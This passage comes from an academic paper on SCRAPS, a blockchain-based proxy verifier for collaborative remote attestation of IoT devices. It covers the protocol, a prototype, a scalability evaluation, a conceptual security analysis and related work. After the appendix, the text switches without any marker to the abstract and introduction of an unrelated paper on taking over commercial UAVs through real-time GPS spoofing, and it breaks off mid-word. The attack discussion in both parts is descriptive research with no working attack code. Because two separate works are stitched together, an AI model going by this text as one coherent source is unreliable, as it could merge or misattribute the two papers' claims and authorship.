mit transactions. In permissionless blockchains (such as
Ethereum), Prover simply announces itself by querying Proxy-
Verifier.
Attestation: The attestation process (Steps 3a and 3b in Fig-
ure 2) takes place between ProxyVerifier and Prover, via Bro-
ker. The protocol is depicted in Figure 4. The main task of
Broker is to filter all incoming messages and correctly dis-
tribute them to subscribers (blockchain and devices). This is
omitted from the flow diagram for simplicity.

In case of initial attestation, Prover queries the ledger for
the ID of the last written block. In case of subsequent attes-
tations, ProxyVerifier receives a query from Prover inquiring
about any pending requests (Step 1). If any exists, Prover re-
ceives the ID of the last block as a reply (Step 2). Once Block
ID is received, Prover executes stdAttest to compute a mea-
surement Meas (e.g, by computing a hash over its memory)
and then builds a new transaction AttestTX. The body of the
transaction includes: Meas, Block ID, PK, and the address of
Manufacturer’s SC, while the header includes a signature over
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Figure 4: Attestation Flow

the body generated using SK. AttestTX is then submitted as
RA evidence to ProxyVerifier (Step 3).

The latter interacts with the Manufacturer smart contract
and retrieves M and Frel(t) by requesting configuration infor-
mation of the Prover using provided address (Steps 4 and 5),
and evaluates the evidence.

During verification, the provided measurement Meas and
Block ID are extracted from the transaction AttestTX. If Meas
matches M, ProxyVerifier also verifies Block ID by applying
Frel(t) to the time difference between the last block added to
the blockchain and the submitted Block ID.

If both checks pass, Prover status is changed to "attested",
and "untrusted" otherwise. The provided Block ID is stored
as the timestamp of the last valid attestation. ProxyVerifier
does not verify integrity of the transaction – this check is
performed by blockchain validators, and, in case of failure,
the transaction is not delivered/processed by ProxyVerifier.

We note that the attestation protocol is initiated by Prover.
Hence, it can be easily applied to sleeping Provers. Upon
wake-up, the Prover performs the steps described above before
going into sleep mode again. After successful attestation, the
trust status of Prover becomes accessible to every Subscriber
even if the Prover device is sleeping again.

Query: ProxyVerifier can be queried about the state of any
registered Prover (Step 4 in Figure 2). Such queries can be
submitted by either Prover itself, as described above, or Veri-
fier, through a signed transaction QueryTX including Prover
PK (Steps 7-8 and 9-10).

In this case, Algorithm 1 shows how ProxyVerifier computes
Prover state. As input, it receives ProverID – a hash of Prover
PK. There are 4 cases: (1) if no RA evidence is reported yet
(line 2), ProxyVerifier sets a flag for Prover to indicate that

attestation request is pending, and returns "pending"; (2) The
same happens if the last RA evidence from Prover is valid but
expired (line 17), (3) If last submitted RA evidence is valid
and unexpired (line 12), ProxyVerifier returns the score based
on the reliability function described earlier; and (4) If the last
submitted RA evidence is invalid (line 5), the "pending" flag
is also set and the state returned to Verifier is "untrusted".

Algorithm 1 Calculation of Status
Require: proverID

trustStatus← getTrustStatus(proverID)
if (trustStatus = ”NULL”) then

setRequest(proverID)
return "pending"

else if (trustStatus = ”untrusted”) then
setRequest(proverID)
return "untrusted"

else
timestamp← getTimestamp(proverID.Block_ID)
currentTime← getTimestamp(lastBlock.Block_ID)
t← currentTime− timestamp
if (t ≤ proverID.Tmin) then

return "trusted"
else if (t > proverID.Tmin ∧ t < proverID.Texp) then

riskScore← f (t)
return riskScore

else
setRequest(proverID)
return "pending"

end if
end if

The proposed SCRAPS design addresses all challenges
discussed in Sections 2.2 and 3.2. It copes with asynchronous
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communication since the ProxyVerifier mediates the attesta-
tion process. Attestation requests are stored and aggregated
to protect sleeping devices from DoS attacks while allowing
them to attest once awake and to do so only once since pub-
lic key signatures are used instead of symmetric MACs. The
design also ensures the freshness of RA evidences.

4 Prototype Implementation

This section describes SCRAPS prototype implementation.
Its key components are: ProxyVerifier, Prover, and Verifier.
Implementation of ProxyVerifier is based on Sawtooth Hyper-
ledger framework to instantiate the blockchain. Both Prover
and Verifier functionalities are included in a single IoT client.
To demonstrate support for heterogeneous devices, two ver-
sions of SCRAPS client were implemented for two different
IoT devices. We did not implement any Brokers, since any
standard Broker provided by third parties can be utilized.

Hyperledger. We selected Hyperledger Sawtooth as a
blockchain framework. Being part of Hyperledger framework,
Sawtooth is developed and maintained by the Linux Foun-
dation. Unlike Bitcoin or Ethereum, Sawtooth represents a
private blockchain and thus neither provides its own cryp-
tocurrency nor introduces any transaction fees. The technol-
ogy and modularity of Hyperledger Sawtooth simplify the
development process by separating the core system from the
application domain. Its core design allows applications to
choose the transaction rules, govern access permissions, and
select consensus algorithms.

In Hyperledger, each application defines custom transaction
families for its requirements. A transaction family includes
the following components: (1) A transaction processor (TP):
equivalent to the smart contract that defines the business logic
for the application; (2) a data model to record and store data;
(3) a client to generate and submit transactions.

The ledger is initialized with 3 native TPs. The first one,
Settings TP, stores on-chain configuration settings. Particu-
larly, several parameters are set to activate a backpressure
mechanism, a form of DoS protection, defining a threshold
for allowed transactions, submitted by the same transactor,
and a punishment period if the threshold is exceeded. The sec-
ond one, Identity TP, collaborates with Settings TP to handle
on-chain access permissions for validators (blockchain nodes)
and transactors based on signing keys. The third one, Block-
Info TP, provides an interface to store and retrieve information
about a configurable number of historic blocks.

Each validator node is equipped with an MQTT middleware
that: (1) communicates with Broker, (2) translates transactions
received from MQTT to API calls, and (3) converts the results
after retrieving them from the receipt store3.

3Sawtooth provides a receipt store to save information related to the
transaction execution, e.g., how the transaction changed the global state
and/or events of interest that occurred during transaction execution.

Manufacturer and Manufacturer SC. Manufacturer’s SC is
realized through a transaction family – it is provided as a TP
that handles received transactions and stores the configuration
data of produced models. The implementation consists of
97 LoC in Python. The Manufacturer’s client is responsible
for the generation of signed transactions, with configuration
information, and submitting them to the TP. It is implemented
in Python with 256 LoC and uses Concise Binary Object
Representation (CBOR) [15], Google Protocol Buffers [28]
and Secp256k1 as a signature algorithm.

ProxyVerifier The ProxyVerifier’s TP is implemented in
Python and contains 632 LoC. Several libraries are used,
such as Google’s Protocol Buffers and CBOR. Sawtooth uses
an addressable Radix Merkle tree to store data for transaction
families. Thus, ProxyVerifier retrieves the current global state
of the blockchain. Up-to-date information stored by other TPs
can be then be read using their addresses from BlockInfo TP.
This includes information about the last and previous blocks,
i.e., their IDs and the timestamps when they were written. In
the same fashion, the device model configuration is acquired
from the manufacturer’s TP.

IoTClient. We chose to build an IoTClient that combines
Prover/Publisher and Verifier/Subscriber functionality to coex-
ist within one platform. It consists of functionality to create
three transaction types (CheckReq, QueryState, and Attestt)
needed during the operational phase of SCRAPS and standard
attestation stdAttest functionality to compute Meas.

To instantiate the IoTClient, we chose 2 commercially
available devices: ATmega1284P-Xplained from AVR and
LPC55S69-EVK evaluation board from NXP. The former rep-
resents a typical IETF Class-1 [14] IoT device, while the latter
has a secure hardware component in form of ARM TrustZone.

LPC55S69-EVK is a 32-bit MCU equipped with an ARM
Cortex M-33 processor with TrustZone which runs at the max-
imum frequency of 150MHz and provides up to 640KB flash
memory with 320KB SRAM. TrustZone enables a Trusted Ex-
ecution Environment (TEE) by splitting hardware resources
into two separated protection domains, called normal and
secure world. The processor can switch between the two
worlds and execute in either, with normal world software be-
ing blocked from directly accessing secure resources. The
implementation of IoTClient for this device is written in C and
consists of 26600 LoC. It includes three components: (i) Non-
Secure Application, (ii) Secure Application, and (iii) Secure
Gateway. The non-secure application provides the required
functionalities to communicate with the blockchain and other
devices. Prover uses MQTT client, while Verifier uses HTTP
library to submit API calls to blockchain nodes. The secure
gateway offers an interface to call the attestation code from
within the secure world.

The secure application initializes TrustZone and configures
memory protection to secure sensitive data, such as attestation
keys and code. The latter consists of a standard attestation
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functionality that computes the hash over the non-secure mem-
ory, and extra functionalities for computing the signature and
building transactions that satisfy ledger’s and ProxyVerifier’s
requirements.
ATmega1284P-Xplained is an 8-bit MCU running at the
maximum frequency of 20MHz, with 16KB SRAM and
128KB of flash memory. Since it does not provide any hard-
ware security features, we selected the SµV security micro-
visor [21] – a virtualization-based security middleware that
provides same security features as hybrid attestation schemes
while being implemented purely in software and incurring
minimal performance overhead. The implementation of the
IoTClient consists of 8094 LoC of C, including (i) non-secure
Application, (ii) secure application that provides functionality
to fulfill SCRAPS client workflow, and (iii) SµV secure mi-
crovisor. The non-secure application reads input from UART
and passes it to the secure application. The latter provides the
functionalities required to compute attestation measurement
and build the transactions. SµV protects the secure application
and the private key from unauthorized access.

5 Evaluation
In this section, we evaluate SCRAPS’s performance over-
head and scalability. Performance evaluation is based on the
prototyped testbed. To estimate scalability, we use simulation-
based approach and compare to LegIoT [43], the state-of-the-
art cRA scheme for many-to-many attestation in IoT networks
which has an open-source implementation4.

5.1 Performance Evaluation

The performance of the overall system is highly dependent
on network transmission delays. Ignoring that, we can break
down the remaining factors into (1) Performance of IoTClient,
and (2) transaction processing speed of ProxyVerifier.

ProxyVerifier. Table 1 shows the average execution time of
the smart contract on a validator node, which runs Linux
Ubuntu 18.04 LTS on an Intel Xeon E-2186G CPU with 64
GB RAM. The smart contract provides three functions to
handle incoming transactions, denoted as actions. During the
simulation, we executed every action 100 times directly on
the validator node and recorded the execution time. For every
incoming transaction, the ProxyVerifier decodes the CBOR
binary data and checks the senderID. CheckReq requires the
ProxyVerifier to query the blockchain global state for pending
attestation requests for the given senderID. For QueryState,
the ProxyVerifier executes algorithm 1 and returns the status.
The most time-consuming action is Attest, since ProxyVerifier
has to validate the included RA evidence as well as the times-
tamp and store the corresponding trust status.

4To the best of our knowledge, no other many-to-many RA schemes are
available as open-source.

IoTClient. To evaluate performance of IoT clients, we focus
on Prover and Verifier functionalities, both on the LPC55S69-
EVK and the ATmega1284P-Xplained platforms. Though
main steps are the same for both devices, LPC55S69-EVK
uses its TrustZone, e.g., for switching between secure and nor-
mal worlds, while ATmega 1284P relies on a purely software-
based approach. Runtimes for both IoTClients are shown in
Table 1. The table leads us to two observations: (i) LPC55S69
substantially outperforms ATmega in every action, and (ii) un-
derlying RA functionality stdAttest has by far the longest run-
time, while those introduced by SCRAPS (CheckReq, QueryS-
tate and Attest) are nearly equal on respective devices. The
former (i) is expected since LPC55S69 has substantially faster
hardware than ATmega.Observation (ii) shows, that using
SCRAPS only increases the attestation overhead by about
15% in comparison to using standard RA (stdAttest) without
SCRAPS.

5.2 Scalability Evaluation
We now evaluate scalability of SCRAPS and compare it
against LegIoT [43]. While being designed with scalabil-
ity in mind, LegIoT does not address challenges of Pub/Sub
protocols discussed in Section 2.2. It uses indirect trust rela-
tionships to build and maintain system-wide trust information.
To store and manage the information, LegIoT utilizes Dis-
tributed Ledger Technology. At its core is a smart contract
that implements a graph enlargement algorithm, which adds
new trust links to the system.

5.2.1 Preliminaries

LegIoT utilizes HitPercentage and trustQueryRate as main
evaluation metrics. To enable a fair comparison, we use simi-
lar metrics in our evaluation.

HitPercentage: indicates how much the system benefits from
the previously conducted attestation instances. It is defined
as:

HitPercentage =
queryStateHit

queryStateHit +queryStateMiss
∗100 (2)

Here, queryStateHit denotes the case where, after Verifier’s
request, a valid (correct and timely) RA response from Prover
is available and no further action is required from Prover.
Whereas, queryStateMiss refers to what happens otherwise:
a fresh/new RA instance is required from Prover. Both trust-
QueryHit and trustQueryMiss, are used interchangeably in
[43].
Parameters: HitPercentage is influenced by several parame-
ters. (Unless otherwise specified, we use the same parameters
as in [43].) The first parameter is the network size N ranging
from N = 100 to N = 25000 to show that performance of
SCRAPS does not degrade significantly even for large net-
works. The second, denoted by queryStateRate, determines
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Action ProxyVerifier IoTClient IoTClient
LPC55S69 - EVK ATmega 1284P

CheckReq 9.5 ± 0.0003 ms 355.0 ± 0.271 ms 5709.5 ± 0.024 ms
QueryState 19.7 ± 0.0013 ms 356.5 ± 0.493 ms 5711.9 ± 0.011 ms

Attest 26.2 ±0.007 ms 357.8 ± 0.43 ms 5647.6 ± 0.168 ms
stdAttest —- 1751.3 ± 8.533 ms 34499.8 ± 0.006 ms

Table 1: Average Run-Time & Standard Deviation of ProxyVerifier and IoTClient

the number of devices that QueryState of another device ev-
ery iteration5. We used three queryStateRates ranging from
N/2 to N/10 to demonstrate how the network benefits from
re-using RA evidences.

For LegIoT simulations, we used a securityParameter of
6 and a minReliability of 0.8. The securityParameter defines
the maximum length of the trust path in LegIoT and has no
counterpart in SCRAPS. One can say that SCRAPS has a fixed
path length of two, because all information flow between the
Prover and Verifier is mediated by ProxyVerifier. In LegIoT,
trust relations are transitive. With minReliability, Verifier can
define the lowest risk score of a potential path. SCRAPS does
not use it since there is a fixed path length and ProxyVerifier
computes the risk score according to Prover configuration.

The reliability function we use is based one the time func-
tion f (t) defined in Equation 3 and the values Tmin = 300s and
Texp = 600s.

f (t) =−0.0006666667∗ x+1.2 (3)

For the sake of fair comparison, we used the same values for
f (t), Tmin and Texp as in LegIoT evaluation.

5.2.2 Evaluation Scenarios

We conducted four evaluation scenarios: (1) Duration of
warm-up phase, after which the system effectively benefits
from prior RA evidences; (2) HitPercentage, which indicates
how effectively the system reuses prior RA evidences; (3) how
soon hit rate of 100% is achieved, which demonstrates the
effectiveness of both systems and (4) the maximum possible
queryState rate, stating processing capability of the system.

Warm-up Phase: In both systems, no RA evidences are
stored in the blockchain right after deployment. Thus, the rate
of queryStateMisses remains high until a certain numer of
AttestTX transactions are submitted. We consider the system
to be in the warm-up phase until a HitPercentage of 70%
is reached. Figure 5 plots warm-up phases of LegIoT and
SCRAPS with parameters defined in Section 5.2.1. Within
every iteration, N/2 queries are submitted, and hit rate is
measured at the end. Results show that SCRAPS remains
nearly constant for up to 25,000 devices, while LegIoT shows
a significant increase.

Hit Rate Comparison: In the second scenario, we compare
the overall hit rate for various query rates. To ensure that the

5It is equivalent to trustQueryRate in LegIoT

Figure 5: Duration of warm-up phases (X-axis in log scale)

operational phase is not influenced by the warm-up phase,
every simulation was executed five times, for 1,200s for ev-
ery run and the average of all five runs is reported. Figure 6
reflects hit rates of both systems for three query rates. It is evi-
dent that SCRAPS has a higher hit rate than LegIoT in almost
every scenario. This shows that SCRAPS requires fewer RA
instances during the operational phase and is, therefore, more
efficient and scalable.

Figure 6: Comparison of hit rates for various query rates
(X-axis in log scale)

Time to Reach 100% Hit Rate: Both schemes reach the
peak of utility when there are sufficiently many valid RA evi-
dences to answer queries without additional RA instances, i.e.,
when 100% hit rate is achieved. During this simulation, we
explore how many iterations it takes for LegIoT and SCRAPS
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to achieve it. Results are in Figure 7. They are not complete
for LegIoT for network sizes of over 1,000 because we set the
maximum number of iterations to 9,999 and LegIoT never
reaches 100% hit rate during this period for N > 1,000.

Figure 7: Iterations until 100% hit rate (X-axis in log scale)

Maximum Query Rate Comparison: In this simulation,
N/2 queries are submitted every second to measure how many
are processed in one second. Results indicate that the addi-
tional overhead to build and maintain the graph of LegIoT sig-
nificantly influences its performance, while SCRAPS works
without any bottlenecks even for 25,000 nodes. Therefore,
even in very large networks, SCRAPS most likely does not
encounter any scalability limitations.

Figure 8: Maximum Query Rate (X-axis in log scale)

Based on our measurements and simulations, it is clear that
SCRAPS outperforms LegIoT in all tests and, hence, improves
the overall scalability. While LegIoT works well for networks
of up to 1,000 nodes, it shows substantial weaknesses for
larger networks. Meanwhile, SCRAPS operates without any
performance penalties in networks of up to 25,000.

6 Security Analysis

This section offers an informal security analysis of SCRAPS
by considering possible attacks and discussing their impact
and mitigation. We exclude any security weaknesses of un-
derlying technologies, including distributed ledgers, secure
hardware, and cryptographic primitives.

Denial of Service (DoS) Attacks: Possible DoS attacks in-
clude delaying or dropping attestation requests/responses.
These attacks can be mounted by any entity between IoT
device and the rest of the world, such as a malicious broker,
access point, or router. No proposed scheme considers DoS
attacks since they go beyond the scope of RA and require
distinct countermeasures, e.g., monitoring and detection.

Other types of DoS attacks may target Prover or Proxy-
Verifier. If Prover is targeted, the attack is launched by a ma-
licious Verifier sending numerous attestation requests, thus
forcing one or more Provers to perform the expensive at-
testation process repeatedly. In a more elaborate scenario,
ADV , which controls many Verifiers, mounts the same attack
in a distributed fashion, i.e., DDoS. SCRAPS mitigates such
DoS/DDoS attacks by design, since all attestation requests are
mediated by ProxyVerifier. No matter how many attestation
requests are received by ProxyVerifier for a given Prover, only
one attestation process will be triggered per block ID.

In the second scenario, ADV targets ProxyVerifier. While
some blockchains, such as Bitcoin, avoid DDoS attacks be-
cause each transaction requires spending digital currency,
Sawtooth applies backpressure – a flow-control technique
to reject unusually frequent client submissions. Parameters
for this technique are set during the initialization phase, as
discussed in Section 4.

Replay Attacks: ADV can record valid RA evidence of be-
nign Prover before compromising it. Later on, the attacker
publishes the recorded RA evidence, hoping for Prover to
remain trusted. However, every AttestTX message is cryp-
tographically bound to a unique block ID provided by the
blockchain. Since the blockchain keeps a record of the times-
tamp when the respective block is written, ProxyVerifier com-
putes the reliability score of the RA evidence starting from
that timestamp. Therefore, the attacker gains nothing with
this attack.

Predictable Block IDs: If ADV could predict a future block
ID, it could feed this ID to a benign Prover to generate
valid RA evidence. Afterward, ADV would compromise
this Prover, wait until the predicted block ID appears on
the blockchain, and submit the previous RA evidence. ADV
could thus convince Verifiers that a currently compromised
Prover is in a benign state. This attack vector is not viable,
since block IDs are unpredictable and provide sufficient en-
tropy. Their randomness is influenced by two factors. First,
the consensus mechanism determines the blockchain node
allowed to write the new block. Second, IDs of executed
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batches/transactions are included in its computation, whether
it is a header hash (as in Bitcoin), or a signature of that hash
(as in Hyperledger).

Message Integrity: ADV that resides on the network or con-
trols the non-secure application of a Prover, may alter or forge
the RA evidence. However, each Prover signs every RA evi-
dence with its unique SK stored in secure memory accessible
only to trusted attestation code. Since we assume correctness
and security of the underlying signature scheme, altered or
fake RA evidence is detectable since ledger validators verify
the signature of each submitted RA evidence (before forward-
ing to ProxyVerifier) using Prover’s PK. Similarly, integrity
of configuration updates is assured. The new configuration
is submitted by the Manufacturer to Manufacturer’s SC using
a transaction signed by its private key. Furthermore, write
access to Manufacturer’s SC is exclusive to the Manufacturer,
as discussed in Section 3.3.

Malicious Brokers: ADV that compromises a Broker can
feed a victim Prover an old or otherwise fake block ID, caus-
ing Prover to produce invalid RA evidence. Such a RA evi-
dence would not be accepted by ProxyVerifier. However, this
can result in substantial DoS, since a malicious Broker can
do the same to all of its Provers, collectively wasting a lot of
resources. Similarly, blockchain validators would waste time
verifying numerous invalid RA evidences. In SCRAPS, the
impact of this attack vector is limited since communication
with the Broker is initiated by Provers.

Impersonation During Registration: An actual IoT device
cannot be impersonated, since registration transactions are
signed with its unique secret key. Of course, an ADV con-
trolling Broker or another IoT device, can generate its own
key-pair and successfully register the public key. However,
the subsequent attestation would fail since there is a binding
between attestation statement and the registered key.

7 Related Work

In this section, we overview RA schemes of various flavors.
One-to-Many cRA Schemes enable a single Verifier to effi-
ciently attest multiple interconnected Provers. In most cases,
a spanning tree rooted at Verifier is used to propagate and
aggregate attestation messages.

The first such scheme, SEDA [12], uses secure hop-by-hop
aggregation of RA evidences. Verifier initiates the process by
broadcasting an attestation request to Provers. As a response,
every Prover attests its children nodes and forwards the accu-
mulated RA evidences to its parent. In the end, Verifier checks
the status of all Provers by verifying only the last RA evidence.
This approach requires the participation and availability of ev-
ery Prover to forward accumulated RA evidences and thereby
do not work with sleeping devices.

LISA [17] and SeED [31] improve on SEDA. In LISA,

neighboring devices communicate to propagate RA evidences.
Also, Provers verify RA evidences of other Provers before for-
warding them, to prevent replay attacks. SeED [31] increases
efficiency and mitigates DoS attacks by allowing Provers to
self-initiate RA. Like SEDA, LISA and SeED do not work
with sleeping devices as they rely on availability of Provers.
DARPA [30] detects physically compromised devices by as-
suming that any physical attack must involve removing or
turning off the device for a non-negligible period of time. To
detect compromised (absent) devices, all Provers periodically
exchange heartbeat messages. SCAPI [34] is an improved
version of DARPA: it includes a leader that periodically gen-
erates and distributes secret session keys among all Provers.
To receive a new session key, Prover must be authenticated
with the previous key. DARPA and SCAPI require Provers
being available at all times to receive periodically exchanged
messages. Thereby, both systems cannot be applied to sleep-
ing devices.

SARA [22] can be characterized as one-to-a-few attes-
tation scheme for Pub/Sub networks. Publishers self-attest
upon request received from trusted Verifier, then propagate
their evidences to Subscribers, who in turn also self-attest,
concatenate their own RA evidence with the one received from
Publishers and submit it to Verifier for verification. As such,
attestation is limited to small IoT services only and requires
Subscribers to be awake soon after attestation by Publisher to
assemble and submit the final attestation evidence.

Stumpf et al. [57] propose three approaches to realizing
scalable cRA: (1) hashing together multiple requests into a
single one, (2) allowing Prover to self-attest for a given time-
slot, and (3) synchronize Prover and Verifier. None of these
approaches can be applied to networks with asynchronous
communication and sleeping devices, as (1) devices cannot
cooperate and (2)-(3) sleeping devices cannot be synchro-
nized. SALAD [35] is a cRA scheme designed for robustness,
achieved by distributing RA evidences among all devices. Dis-
tributing RA evidences among all devices does not apply to
networks with asynchronous communication and sleeping de-
vices. Rabbani et al. [50] introduced an edge computing layer
between the swarm of Provers and Verifier. Each edge Verifier
attests the underlying swarm in a spanning-tree topology and
forwards the RA evidences to root Verifier. This approach
cannot be applied to sleeping devices as the Verifier cannot
attest an underlying swarm of sleeping Provers. Additionally,
it imposes a single point of failure.

SANA [7] is a scalable cRA scheme that partitions Provers
into multiple subnetworks and aggregates RA evidences until
the entire network is attested. Final aggregated RA evidences
are publicly verifiable by multiple Verifiers. ESDRA [38] is
another cRA scheme that divides the network into clusters
according to the distance between devices. RA relies on a rep-
utation mechanism, which defines the reputation of Provers
based on their prior behaviors.

Bampatsikos et al. [13] proposed BARRETT, a blockchain-
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Schemes Heterogeneity Scalability On-demand Asynchronous Sleeping Configuration Untrusted
Attestation Communication Devices Updates Broker

One-to-Many Protocols
SEDA [12], LISA [17] (X) X X X X X X
SeED [31] (X) X X X X X X
DARPA [30], SCAPI [34] (X) X X X X X X
SARA [22] (X) X X X X X X
Stumpf at al [57] X X X X X X X
Salad [35] (X) (X) X X X X X
Shela [50] (X) X X X X X X
BARRETT [13] (X) X X (X) X X X
SANA [7] (X) (X) X X X X X
ESDRA [38] (X) X X X X X X

Many-to-Many Protocols
PASTA [36] X X X X X X X
Safed [58] X (X) X X X (X) X
TM-Coin [47] X X X X X X X
LegIoT [43] (X) (X) X X X X X

SCRAPS X X X X X X X

Table 2: Comparison of Collaborative Attestation Schemes ((X) indicates only limited support)

based cRA scheme that uses a smart contract to prevent Com-
putational DoS (CDoS) and allowing BARRETT to trans-
mit RA requests from Verifier to Prover asynchronous. RA
evidence is still transmitted directly from Prover to Verifier,
hence asynchronous communication is only partially sup-
ported. The Verifier verifies the received RA evidence and
uploads the outcome to the blockchain. This implies that Veri-
fiers are mutually trusted or RA evidences cannot be reused
by other Verifiers. In SCRAPS, this impractical assumption is
eliminated, while similarly preventing CDoS.
Many-to-Many Attestation: Many-to-Many schemes pro-
vide RA evidences to multiple Verifiers.

Kohnhäuser et al. [36] proposed PASTA, a scheme that
spreads the burden of verification across the entire network.
In PASTA, Provers collaborate periodically to generate tokens
that embed the proofs of all participants. Provers unavailable
during token creation can be mistakenly considered mali-
cious. This implies that support for sleeping Provers is hard
to achieve. In contrast, SCRAPS has no such limitations.

Visintin et al. [58] proposed Safed , a decentralized RA pro-
cess that enables a pair of devices in a swarm to attest each
other without relying on an external Verifier. The system uses
chord protocol and multiple overlays to distribute and main-
tain attestation-relevant data. Unlike SCRAPS, this approach
relies on a specific network structure and requires direct de-
vice interaction during attestation. Therefore, it does not sup-
port asynchronous communication or sleeping devices. The
possibility of potential configuration updates is only briefly
discussed and not implemented nor evaluated but likely to
cause high overhead.

TM-Coin [47] uses blockchain as a trustworthy decentral-
ized database to store RA evidences. The miners perform RA
of a Prover, validate the received RA evidence and add the

result to the blockchain. Afterward, any Verifier that trusts the
miner that conducted the attestation can query the ledger and
receive the already verified RA evidence. SCRAPS does not
place any additional trust in miners.

LegIoT [43] is a decentralized attestation and trust manage-
ment framework that aims to decrease the number of required
RA instances by building trust relations across the whole net-
work. Trust relations are represented as a graph stored and
maintained by a distributed ledger. SCRAPS differs from
LegIoT in that it does not involve direct Prover-Verifier com-
munication and uses ProxyVerifier as an intermediary.

Table 2 summarizes related work and compares properties
of the current schemes with those of SCRAPS. It shows that
SCRAPS is the only scheme that satisfies all requirements
formulated in Section 2.3.

8 Conclusions

Motivated by the need to improve the scalability of
cRA in large Pub/Sub IoT networks that feature battery-
powered, often-disconnected and sleeping devices, we pro-
pose SCRAPS, a new cRA scheme that is a blend of one-to-
many and many-to-many approaches that inherit advantages
of both. It utilizes smart ledger technology to build a decen-
tralized ProxyVerifier– an entity which acts as a proxy and con-
ducts attestation on behalf of actual Verifiers. In comparison
to other cRA schemes, SCRAPS offers better scalability and
handles heterogeneous devices, while providing on-demand
attestation, support for the Pub/Sub networks, sleeping de-
vices and configuration updates.
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Availability

The prototype implementation of SCRAPS and evalua-
tion scripts are publicly available at https://github.com/sss-
wue/scraps.
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Appendix A One-to-One Remote Attestation

One-to-one RA is a challenge-response protocol between
a client (Prover) and a remote host (Verifier) for reporting
Prover’s hardware and software configuration (e.g., the in-
ternal state of RAM, flash, etc.) to the host. An example of
RA protocol is shown in Figure 9. Typically, Verifier initiates
the protocol by sending a challenge to a Prover, which needs
to measure its own integrity and create a fresh and authentic
evidence of being in a trustworthy state. The process of in-
tegrity measurement may vary, for instance, it may involve
computing an encryption-based MAC or a keyed hash over its
memory [53], or randomly placed verification bits [5]. Such
an evidence is then transmitted to Verifier, who is assumed to
know all possible reference measurement(s) for Prover that
correspond to Prover’s valid (i.e, good or safe) state(s).

Figure 9: One-To-One RA

Prover is assumed to have a trust anchor, which makes sure
that the integrity measurement is taken and reported correctly,
even if the platform is compromised. The trust anchor helps
to establish protected resources (memory, processor, RAM)
exclusively for attestation purposes, and, thus, one can say
that it divides the Prover ’s platform into a secure and non-
secure worlds. While the latter holds general-purpose code
(application/service specific), the secure world is used to safe-
guard attestation key(s) in protected memory, store and run an
immutable RA code securely and atomically. The two parts
of the device communicate through a secure gateway.

Based on a way used to establish a trust anchor on a com-
puting platform, RA schemes can be roughly divided into
three categories: software-based, hardware-based, and hybrid.
Hardware-based solutions [3, 44, 62] rely on dedicated
(optionally, tamper-resistant) hardware components, such as
Trusted Platform Module (TPM) [11], Intel SGX [32] or ARM
TrustZone [61] to provide a Root-of-Trust (RoT). All services
and information provided by RoT can be considered reliable,
and thereby secrets like cryptographic keys can be stored
securely. RA schemes that leverage hardware-based trust an-
chors provide highest security guarantees among all the cate-
gories, but require specific hardware for Prover’s platforms,
which may or may not be available in practice.
Software-based schemes [39, 53–55, 59] impose no assump-
tions on underlying hardware. Consequently, there cannot be
any secrets securely stored on Prover. As a workaround, these
schemes use side-channel information (e.g., precise timing
of execution of certain algorithms) to detect malicious behav-
ior. This makes software-based schemes applicable to, and
appealing for, legacy devices. However, they rely on strong as-
sumptions, e.g., Prover must be directly connected to Verifier.
This greatly limits their applicability [18].

One recent scheme called SIMPLE [9] is a software-based
RA scheme which does not involve the usual assumptions and
restrictions of other software-based RA schemes. It emulates
the functionality of secure hardware in a thin software layer,
a hypervisor, instantiated using an open-source and formally-
verified Security MicroVisor (SMV) [21]. It provides security
guarantees similar to hardware-based RA schemes while oper-
ating fully in software. However, it assumes DMA-less Prover
operation and rules out non-invasive physical attacks.
Hybrid schemes [5,6,16,23,24,29,33,45] blend software and
hardware features to achieve RA while aiming to minimize
requirements on underlying hardware. They provide much
stronger security guarantees than software-based schemes,
while requiring only minimal security features in hardware
(such as Read Only Memory (ROM) and Memory Protection
Unit (MPU) for secure storage), which are readily available
on many platforms.
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Abstract
Today, there is limited knowledge about the behavior of UAVs
under GPS spoofing attacks in a real-world environment, in
particular considering the interplay between the UAV’s soft-
ware as well as other equipped navigation aids and vision
sensors. This work aims to understand the feasibility and
requirements of fully controlling a UAV’s movements by
spoofing GPS signals alone. We enumerate the challenges in
accomplishing a complete UAV takeover through GPS spoof-
ing and controlling it without crashing. We design and imple-
ment a Real-time GPS Signal Generator (RtGSG) that can be
configured to generate any arbitrary trajectory and is capable
of making changes to GPS signals in real-time through user
input, e.g., using a keyboard or joystick. We evaluate RtGSG
on popular commercial UAVs from DJI and Autel through
over-the-air spoofing experiments in a controlled chamber.
We explore generic and UAV-specific GPS spoofing strategies
in order to best achieve complete maneuvering control (e.g.,
velocity and direction). This work highlights that, although
COTS UAVs remain vulnerable to GPS spoofing attacks, a
complete takeover and control of the UAV requires careful
manipulation of the spoofing signals in real-time. Finally, we
release our implementation to the scientific community for
further research.

1 Introduction

Today, there is a quickly increasing demand for unmanned
aerial vehicles (UAV) across various civilian, military, and
commercial applications, with market surveys [38] forecast-
ing a doubling of the global retail UAV market in the next five
years. Military and domestic law enforcement predominantly
use UAVs for surveillance and reconnaissance operations.
With their easy-to-use UAVs, manufacturers like DJI [20]
and open-source platforms like ArduCopter [5] have enabled
mass adoption of UAVs for civilian applications such as geo-
graphic surveys, photography, agriculture, recreational racing,
package delivery, and many more.

This increased accessibility has also raised serious security
and privacy concerns, especially after recent events in which
civilian and military establishments were attacked using a
slew of low-cost UAVs. For example, Heathrow and Gatwick
airports reported several UAVs entering their airspace, sig-
nificantly disrupting the air traffic for several days [54, 68].
There have been reports of terror groups using consumer
UAVs laden with explosives to attack critical oil facilities and
an airport in the Middle East [18, 49, 74]. Moreover, given
these UAVs’ low-visibility profile and cross-section, conven-
tional air traffic radar systems are ineffective against these
threat vectors. This has spawned a cottage industry of counter
UAV systems, which promise reliable detection and protection
against intrusions.

In general, including most of the above threat scenarios,
UAVs heavily rely on the Global Positioning System (GPS)
for positioning and navigation, particularly where they need to
operate autonomously or in a pre-programmed fashion. GPS
is an integral part of onboard decision-making that relies on
positioning and navigation systems. Hence, GPS is seen as a
single-point of failure for UAVs. At the same time, GPS has
long been known to be vulnerable to jamming and spoofing
attacks. The vulnerability can be profound: GPS spoofing
provides an attack vector that enables control over the target
UAV without compromising the flight control software or the
command-and-control radio link. Furthermore, a GPS spoof-
ing attack can be carried out by an attacker that is equipped
with an RF transmitter. Since the attacker can generate spoof-
ing signals for any arbitrary location, an attacker’s proximity
to the target is limited only by the attacker’s amplification
capabilities. An attacker equipped with a powerful enough
transmitter or directional antennas need not be in close prox-
imity of the target.

Widely-reported demonstrations show the feasibility of
diverting unmanned ships [55], cars [59], and aerial vehi-
